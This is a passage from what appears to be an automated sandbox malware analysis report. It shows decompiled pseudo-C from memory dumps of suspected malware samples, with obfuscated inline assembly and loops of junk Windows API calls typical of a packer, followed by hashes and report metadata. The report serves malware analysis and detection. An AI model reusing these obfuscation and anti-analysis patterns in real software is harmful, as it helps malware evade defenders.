							_t54 = 0x688e471e;
							_t125 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t125);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t129, _t160);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t133, _t134, 0x13eba4a4, _t160);
					} else {
						_t51 = E00402255(_t163,  *((intOrPtr*)(0x13eba4a0)));
						_t157 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t133, _t134, _t157, _t163);
							_t158 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t158, _t163,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L23;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.458889028.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_A975.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction ID: ac3f9a48b8241fa4787baba6bb88e996d90e4b1d5655853c31ab7ffc92292063
Opcode Fuzzy Hash: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction Fuzzy Hash: 6251543200A101DFEB00AF64AEDA5AAFB64FF15378B3401A7DC416E1E2D37B5642DA56

Uniqueness

Uniqueness Score: -1.00%

Function 00402B38, Relevance: .1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E00402B38(signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t25;
				intOrPtr _t26;
				void* _t29;
				void* _t32;
				void* _t35;
				void* _t37;
				void* _t65;
				signed int* _t67;
				signed int _t68;
				void* _t73;
				intOrPtr* _t74;
				void* _t75;
				signed int _t78;
				signed int _t79;
				signed int _t80;
				void* _t84;
				signed long long _t99;

				_t74 = __esi;
				_t67 = __edx;
				_t71 = __edi + 1;
				_t84 = __edi + 1;
				asm("das");
				asm("a16 scasb");
				_t26 = E00401277(_t25, 0x9ab9, _t71, __esi, _t75, _t84);
				asm("salc");
				asm("fcom dword [esi+0x6b]");
				_t79 = _t78 |  *(_t74 + _t75 - 0x59614c49);
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t80 = _t79 |  *(_t74 + _t75 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t80);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t99 = (__fp0 - _t67[0x1a]) *  *_t67;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t68);
					asm("salc");
					_t99 = _t99 +  *_t74;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t26;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t26 = 0x49;
					_t69 = _t68 ^  *0xd05b5b70;
				} while ((_t68 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t73);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t74);
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t29 =  *_t80;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t29, 0x688e1679, _t73, _t74, 0x13eba4a4, 0x9b);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t32 = E004025E8(_t73, _t74, 0x9b); // executed
				_t91 = _t32;
				if(_t32 != 0) {
					if(E00401F34(_t73, _t91,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L17:
						_t96 = gs;
						if(gs != 0) {
							_t35 = 0x688e6ab7;
							_t65 = 0x2ef8;
						} else {
							_t35 = 0x688e471e;
							_t65 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t65);
						_push(_t35);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t69, _t96);
						_t37 = 0x2c1c;
						_t32 = E00401277(_t37, 0x688e1679, _t73, _t74, 0x13eba4a4, _t96);
					} else {
						_t32 = E00402255(_t99,  *((intOrPtr*)(0x13eba4a0)));
						_t93 = _t32;
						if(_t32 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t32 = L00402321(0x688e1679, _t73, _t74, _t93, _t99);
							_t94 = _t32;
							if(_t32 != 0) {
								_t32 = E00401FF1(_t94, _t99,  *((intOrPtr*)(0x13eba4a0)));
								if(_t32 != 0) {
									goto L17;
								}
							}
						}
					}
				}
				return _t32;
			}

0x00402b38
0x00402b38
0x00402b38
0x00402b38
0x00402b39
0x00402b3a
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.458889028.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_A975.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction ID: 3e85d14ce6c36aa09c03589aa9c8c3521ff663fa5e1e86b555b0dc280717ecfe
Opcode Fuzzy Hash: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction Fuzzy Hash: 17412A31109101EFFB01AB51DF8A5AEB775FF19368B2000BBDC417A1D2D77E5A05DA16

Uniqueness

Uniqueness Score: -1.00%

Function 00402BFB, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00402BFB(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;
				intOrPtr* _t30;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc al, 0x62");
				_push(0x2c1c);
				_t12 =  *_t30;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t35 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t35,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L11:
						_t40 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t40);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t40);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t37 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t37, __fp0);
							_t38 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t38, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L11;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402bfb
0x00402bfb
0x00402bfb
0x00402bfb
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.458889028.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_A975.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction ID: 52cd7e5ac6ed9cc019fbfcf69bdf72a742899d53516448c63c37d0d49b3bd750
Opcode Fuzzy Hash: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction Fuzzy Hash: 7111213050C105EAFF01A6518F5E97E72699F01348F24007BAD42B52E2D7BD9F16B62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C01, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402C01(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c01
0x00402c01
0x00402c01
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.458889028.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_A975.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction ID: 94dd4e34baa45bb6a7d52d13517e1efb42c98130ce2376b8e4646defd1028816
Opcode Fuzzy Hash: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction Fuzzy Hash: D2011220118105F9FF0167528F1A97E75299F01348F24007BAC41B52E2DBBD8F15A62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C12, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402C12(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("a16 push es");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c12
0x00402c12
0x00402c12
0x00402c12
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.458889028.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_A975.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction ID: 69eb8ccb3173368d7466cfbebad6b250e745b2528687b1428edbefbc5d99c229
Opcode Fuzzy Hash: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction Fuzzy Hash: 5001DE20518105FAFF01A6528F5A97E75699F01348F24007BAD42B52E2DBBD8F16AA2F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C16, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00402C16(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t33 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t33,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L6:
						_t38 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t38,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t38);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t35 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t35, __fp0);
							_t36 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t36, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L6;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c16
0x00402c16
0x00402c16
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.458889028.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_A975.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction ID: 22f91f3ad527b43ded7c43fe05e3e31a54a2160e6f7bd47ea20a36d237ffec38
Opcode Fuzzy Hash: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction Fuzzy Hash: 4401CC20518105F9FF01B7628F1A9BE75699F00348F24007BBC41B52E6DBBD8F15AA2E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DF48, Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__cftof_l.LIBCMT ref: 0040DF6E

Part of subcall function 0040DD93: __fltout2.LIBCMT ref: 0040DDBF

__cftog_l.LIBCMT ref: 0040DF94
__cftoe_l.LIBCMT ref: 0040DFC6

Memory Dump Source

Source File: 0000000C.00000002.458918598.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_409000_A975.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 371dcc409b8a9c37bc45af426a8add198d970d59fd773847fc00fd30e5f9ded3
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 7B11803280014EBBCF125EC4CC41CEE3F22BF19354B198426FA1968171C23AC9B5AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: B55D.exe PID: 6484 Parent PID: 3352 B55D.exeCOMMON

Executed Functions

Function 00419E87, Relevance: 257.8, APIs: 115, Strings: 32, Instructions: 523
timefilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00419E87(void* __edx, void* __fp0) {
				void* __edi;
				intOrPtr _t54;
				CHAR* _t56;
				intOrPtr _t90;
				void* _t197;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t202;
				void* _t205;
				void* _t206;
				void* _t207;
				void* _t211;
				void* _t213;
				intOrPtr _t235;
				void* _t236;

				_t200 = __edx;
				E0041AA70(0x24f8);
				if( *0x55abe4 == 0x177) {
					E0041B4A0(0, 0, 0);
					E0041B0D0(_t199, 0, 0);
					E0041B080(_t199, 0, 0);
					E0041B000(0);
					E0041AE10("0.0");
					st0 = __fp0;
					E0041AB90(_t199, 0);
					E0041AB60(_t199, 0, 0);
					E0041AAE0(_t199, 0);
					_t56 = E0041AAC0(0);
					_t213 = _t213 + 0x38;
				}
				_t201 = 0;
				L3:
				L3:
				if( *0x55abe4 == 0x47) {
					GetBinaryTypeA("hijaduvinijebup", _t213 + 0xc);
					SetCurrentDirectoryA("lakusoruhajunajiziheruxazoluyoloxujumazomeke");
					Process32NextW(0, 0);
					InitializeCriticalSection(0);
					QueryDosDeviceW(0, _t213 + 0xd08, 0);
					__imp__TerminateJobObject(0,  *(_t213 + 0xc));
					GlobalAddAtomW(L"Vozecitak mov");
					DeleteAtom(0);
					WriteProfileStringA("tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv", "wapejan", "mocisacatenu");
					GetFullPathNameA("Felerah cuhozazikesuzil", 0, _t213 + 0x108, 0);
					__imp__FindNextVolumeMountPointW(0, _t213 + 0x1508, 0);
					GetCompressedFileSizeA("wovag", _t213 + 0x18);
					GetNamedPipeInfo(0, 0, 0, 0, 0);
					lstrcpynA(_t213 + 0x50c, "Losufic vahafoj sovoculoziyaja dewofic", 0);
					GetProcessVersion(0);
					__imp__GetConsoleAliasesLengthW(0);
					__imp__UnregisterWait(0);
					__imp__GetProcessHandleCount(0, 0);
					CancelWaitableTimer(0);
					SetFileApisToANSI();
					CreateIoCompletionPort(0, 0, 0, 0);
					FindClose(0);
					SetEndOfFile(0);
					GetCommMask(0, 0);
					LocalLock(0);
					_t56 = OpenMutexW(0, 0, L"Wuhesuvugocu regacavac");
				}
				if(_t201 == 0x69d) {
					goto L8;
				}
				_t201 = _t201 + 1;
				if(_t201 < 0x1133661) {
					goto L3;
				} else {
				}
				L9:
				_t202 = 0;
				do {
					if(_t202 < 0x4cd) {
						GetLastError();
					}
					if( *0x55abe4 == 0x6b) {
						_t56 = HeapFree(0, 0, 0);
					}
					_t202 = _t202 + 1;
					 *0x5547d0 = 0;
				} while (_t202 < 0x1763459b);
				_t197 = 0;
				do {
					if(_t197 == 0x40d) {
						 *0x55abe4 =  *0x55abe4 + 0x12336;
					}
					if( *0x55abe4 == 0x44d) {
						 *(_t213 + 0xc) = 0;
						asm("stosw");
						WriteConsoleOutputCharacterA(0, "tifikekacejininomizewidixazodafetisutaxewuy", 0,  *(_t213 + 0x10), _t213 + 0x18);
						GetModuleHandleW(L"Xemov yoxociy pogi");
						GetNumberOfConsoleInputEvents(0, 0);
						FreeEnvironmentStringsA(0);
						GetWriteWatch(0, 0, 0, 0, 0, 0);
						__imp__GetConsoleAliasExesLengthW();
						_lopen(0, 0);
						FileTimeToLocalFileTime(_t213 + 0x3c, _t213 + 0x30);
						SetCommState(0, 0);
						EnumDateFormatsA(0, 0, 0);
						 *(_t213 + 0x1c) = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						TransactNamedPipe(0, 0, 0, _t213 + 0x510, 0, _t213 + 0x14, _t213 + 0x1c);
						WriteConsoleInputW(0, 0, 0, _t213 + 0x14);
						__imp__GetConsoleAliasExesLengthA();
						GetAtomNameW(0, _t213 + 0xd08, 0);
						FreeConsole();
						FlushConsoleInputBuffer(0);
						__imp__GetConsoleAliasA(0, _t213 + 0x10c, 0, 0);
						SetConsoleCP(0);
						__imp__VerSetConditionMask(0, 0, 0, 0);
						LockFile(0, 0, 0, 0, 0);
						SetSystemTime(0);
						__imp__SetThreadExecutionState(0);
						VerLanguageNameW(0, _t213 + 0x1d08, 0);
						_t56 = lstrcpyA(_t213 + 0x1508, "Hetitanutaf bebucoreko");
						__imp__SetFileShortNameW(0, 0);
					}
					_t197 = _t197 + 1;
				} while (_t197 < 0x486263);
				E00419C1E(_t56);
				_t205 = GetOverlappedResult;
				_t211 = 0;
				do {
					if( *0x55abe4 == 0xfd) {
						FreeEnvironmentStringsW(0);
					}
					if(_t211 == 0x3c58) {
						_t90 =  *0x440008; // 0x3f6fda
						 *0x55abe8 = _t90;
					}
					if( *0x55abe4 == 0x23) {
						CreateSemaphoreA(0, 0, 0, "tivomifuzasesufaholivikasekalene");
						GetLocalTime(0);
						EnumTimeFormatsW(0, 0, 0);
						FindResourceExW(0, L"helecebekuxesiwiwifomipuwudokatupibej", L"pahubahiwucijucemipapujivojadij", 0);
						GetPrivateProfileSectionNamesW(_t213 + 0x1d10, 0, 0);
						GetOverlappedResult(0, 0, 0, 0);
						WaitNamedPipeA(0, 0);
						TransmitCommChar(0, 0);
						CreateSemaphoreW(0, 0, 0, 0);
						GetBinaryTypeW(L"Dovi muyafohonifu zapojubocuwuh vuleh", _t213 + 0x18);
						PeekConsoleInputA(0, _t213 + 0x28, 0, _t213 + 0x14);
						BuildCommDCBA("Varihokegal vecu sahavujuv nemociyanuha lotom", _t213 + 0x44);
						__imp__UnregisterWaitEx(0, 0);
						GlobalLock(0);
						GetOverlappedResult(0, 0, 0, 0);
						GetProcAddress(0, 0);
						MoveFileExW(0, 0, 0);
						GetThreadContext(0, _t213 + 0x108);
						ResetEvent(_t213 + 0xb0);
						__imp__FindActCtxSectionStringA(0, 0, 0, "Cat tafugozeyab jumulizodunef sazu buxonisiz", _t213 + 0xc8);
						 *((intOrPtr*)(_t213 + 0x70)) = 0;
